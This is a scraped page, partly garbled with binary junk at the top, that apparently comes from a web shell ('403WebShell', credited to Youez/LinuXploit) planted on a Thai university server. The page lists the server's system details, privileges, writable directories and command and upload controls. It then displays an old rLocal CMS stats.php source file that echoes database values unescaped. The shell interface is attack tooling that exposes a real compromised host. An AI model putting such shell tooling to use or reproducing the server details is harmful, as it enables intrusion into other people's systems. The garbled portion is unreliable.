h(  ) ($6;EbBLkfu�_l� ''8;DUFKV3Dd#,?ANk&5G$/(5M\^�ms����Sb�,;R''6c2I�!\����kx�Ve�[i��Me�IYO7:nOL~�Kr�qrv�I:�BM�y��s}r��K����x)1�6@r*2�89ma��&��'ti������{~#������t)1�2<�0:^5�W.uFzQ/u}�v��vv�u��U37yDJeEJo(/�5Ds'1�:Jlu�iy�iy�hw�1;:S`^BMLOQQn,4�7C�8C�>Lfe�]k�[i�Zg��IW�LZ�EP;,.��Tc�q(0) G,/]/1����w�r��l&-t*3�<<�u��#����j&.u��J68\8?"#$%&'()*+,-./0 ! 
Notice: Undefined index: dl in /var/www/html/web/simple.mini.php on line 1
403WebShell
403Webshell
Server IP : 10.254.12.21  /  Your IP : 10.254.12.21
Web Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40
System : Linux arit.skru.ac.th 3.10.0-1160.76.1.el7.x86_64 #1 SMP Wed Aug 10 16:21:17 UTC 2022 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/rlocal/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/rlocal/stats.php
<?
/*=========================================================================

:: rLocal -- web local database
:: Copyright (C) 2001 Thana Charuphanthuset
:: see http://www.OhioNet.cjb.net for more

=*=======================================================================*/

include("include/common.inc.php");
include("include/header.inc.php");

/*== site stats ==*/

$VAR["Heading"] = _SITESTATS;
$tmp = F_count("T_Stories");

$VAR["Content"] = "<table cellpadding=0 cellspacing=1 border=0 width=\"99%\">\n";
$VAR["Content"] .= "<tr><td>" . _TOTALSTORIES . "</td><td align=right>" . $tmp . "</td></tr>\n";

$sql	= "SELECT floor(avg(Hits)) FROM T_Stories ";
$sql	.= "WHERE Verified = 'Y'";
$result	= @mysql_query($sql,$db);
$VAR["Content"]	.= "<tr><td>" . _AVGHITS . "</td><td align=right>" . mysql_result($result,0) . "</td></tr>\n";

if ($CONF["Comments"] > 0) { 
	$tmp = F_count("T_Comments");
	$VAR["Content"] .= "<tr><td>" . _TOTALCOMMENTS . "</td><td align=right>" . $tmp . "</td></tr>\n"; 
}
if (F_count("T_PollQuestions") > 0) { 
	$tmp = F_count("T_PollQuestions");
	$VAR["Content"] .= "<tr><td>" . _TOTALPOLLS . "</td><td align=right>" . $tmp . "</td></tr>\n"; 
}
if ($CONF["Links"] > 0) { 
	$tmp = F_count("T_Links");
	$VAR["Content"] .= "<tr><td>" . _TOTALLINKS . "</td><td align=right>" . $tmp . "</td></tr>\n"; 
}
$VAR["Content"] .= "</table>\n";
F_drawMain($VAR);


/*== story stats ==*/

$sql	= "SELECT Rid,Heading,Hits from T_Stories ";
$sql	.= "WHERE Hits > 0 ";
$sql	.= "ORDER BY Hits desc LIMIT 10";
$result	= mysql_query($sql,$db);
$nrows  = mysql_num_rows($result);

$VAR["Heading"] = _TOPSTORIES;
if ($nrows>0) {
	$VAR["Content"]	= "<table cellpadding=0 cellspacing=1 border=0 width=\"99%\">\n";
	for ($i=0;$i<$nrows;$i++) {
		$A      = mysql_fetch_array($result);
		$VAR["Content"]	.= "<tr>\n";
		// $VAR["Content"]	.= "\t<td><a href=\"" . F_Story($A["Rid"]) . "\">" . $A["Heading"] . "</a> (" . F_count("T_Comments","ParentRid",$A["Rid"]) . ")</td>\n";
		$VAR["Content"]	.= "\t<td><a href=\"" . F_Story($A["Rid"]) . "\">" . $A["Heading"] . "</a></td>\n";
		$VAR["Content"]	.= "\t<td align=right>" . $A["Hits"] . " " . _HITS . "</td>\n";
		$VAR["Content"]	.= "</tr>\n";
		}
        $VAR["Content"]	.= "</table>\n";
} else {
	$VAR["Content"] = _NOSTORIES;
}
F_drawMain($VAR);


/*== poll stats ==*/
$sql	= "SELECT Rid,Question,Voters from T_PollQuestions ";
$sql	.= "WHERE Voters > 0 ";
$sql	.= "ORDER BY Voters desc LIMIT 10";
$result	= mysql_query($sql,$db);
$nrows  = mysql_num_rows($result);

$VAR["Heading"] = _TOPPOLLS;
if ($nrows>0) {
	$VAR["Content"]	= "<table cellpadding=0 cellspacing=1 border=0 width=\"99%\">\n";
	for ($i=0;$i<$nrows;$i++) {
		$A      = mysql_fetch_array($result);
		$VAR["Content"]	.= "<tr>\n";
		$VAR["Content"]	.= "\t<td><a href=\"$G_URL/pollbooth.php?poll=" . $A["Rid"] . "&aid=-1\">" . $A["Question"] . "</a></td>\n";
		$VAR["Content"]	.= "\t<td align=right>" . $A["Voters"] . " " . _VOTES . "</td>\n";
		$VAR["Content"]	.= "</tr>\n";
	}
	$VAR["Content"]	.= "</table>\n";
} else {
	$VAR["Content"] = _NOPOLLS;
}
F_drawMain($VAR);


/*== pages stats ==*/
$sql	= "SELECT Rid,Heading,Hits from T_Blocks ";
$sql	.= "WHERE Hits > 0 ";
$sql	.= "AND (Display = 'f' OR Display = 'p') ";
$sql	.= "ORDER BY Hits desc LIMIT 10";
$result	= mysql_query($sql,$db);
$nrows  = mysql_num_rows($result);
$VAR["Heading"] = _TOPPAGES;
if ($nrows>0) {
	$VAR["Content"]	= "<table cellpadding=0 cellspacing=1 border=0 width=\"99%\">\n";
	for ($i=0;$i<$nrows;$i++) {
		$A      = mysql_fetch_array($result);
		$VAR["Content"]	.= "<tr>\n";
		$VAR["Content"]	.= "\t<td>";
		$VAR["Content"]	.= sprintf("<a href = \"$G_URL/pages.php?page=%s\">%s</a>",
			urlencode(stripslashes($A["Heading"])),
			stripslashes($A["Heading"]));
		$VAR["Content"]	.= "</td>\n";
		$VAR["Content"]	.= "<td><small>" . $A["Url"] . "</small></td>\n";
		$VAR["Content"]	.= "<td align=right>" . $A["Hits"] . " " . _HITS . "</td>\n";
		$VAR["Content"]	.= "</tr>\n";
		}
        $VAR["Content"]	.= "</table>\n";
} else {
	$VAR["Content"] = _NOPAGES;
}
F_drawMain($VAR);


/*== link stats ==*/
if ($CONF["Links"] > 0) {
$sql	= "SELECT Rid,Url,Name,Hits from T_Links ";
$sql	.= "WHERE Hits > 0 ";
$sql	.= "ORDER BY Hits desc LIMIT 10";
$result	= mysql_query($sql,$db);
$nrows  = mysql_num_rows($result);
$VAR["Heading"] = _TOPLINKS;
if ($nrows>0) {
	$VAR["Content"]	= "<table cellpadding=0 cellspacing=1 border=0 width=\"99%\">\n";
	for ($i=0;$i<$nrows;$i++) {
		$A      = mysql_fetch_array($result);
		$VAR["Content"]	.= "<tr>\n";
		$VAR["Content"]	.= "\t<td>";
		$VAR["Content"]	.= sprintf("<a target= \"_blank\" href = \"$G_URL/portal.php?url=%s\">%s</a> - <small>%s</small>",
			urlencode($A["Url"]),
			stripslashes($A["Name"]),
			$A["Url"]);
		$VAR["Content"]	.= "</td>\n";
		$VAR["Content"]	.= "<td align=right>" . $A["Hits"] . " " . _HITS . "</td>\n";
		$VAR["Content"]	.= "</tr>\n";
		}
        $VAR["Content"]	.= "</table>\n";
} else {
	$VAR["Content"] = _NOLINKS;
}
F_drawMain($VAR);
}

include("include/footer.inc.php");

?>

Youez - 2016 - github.com/yon3zu
LinuXploit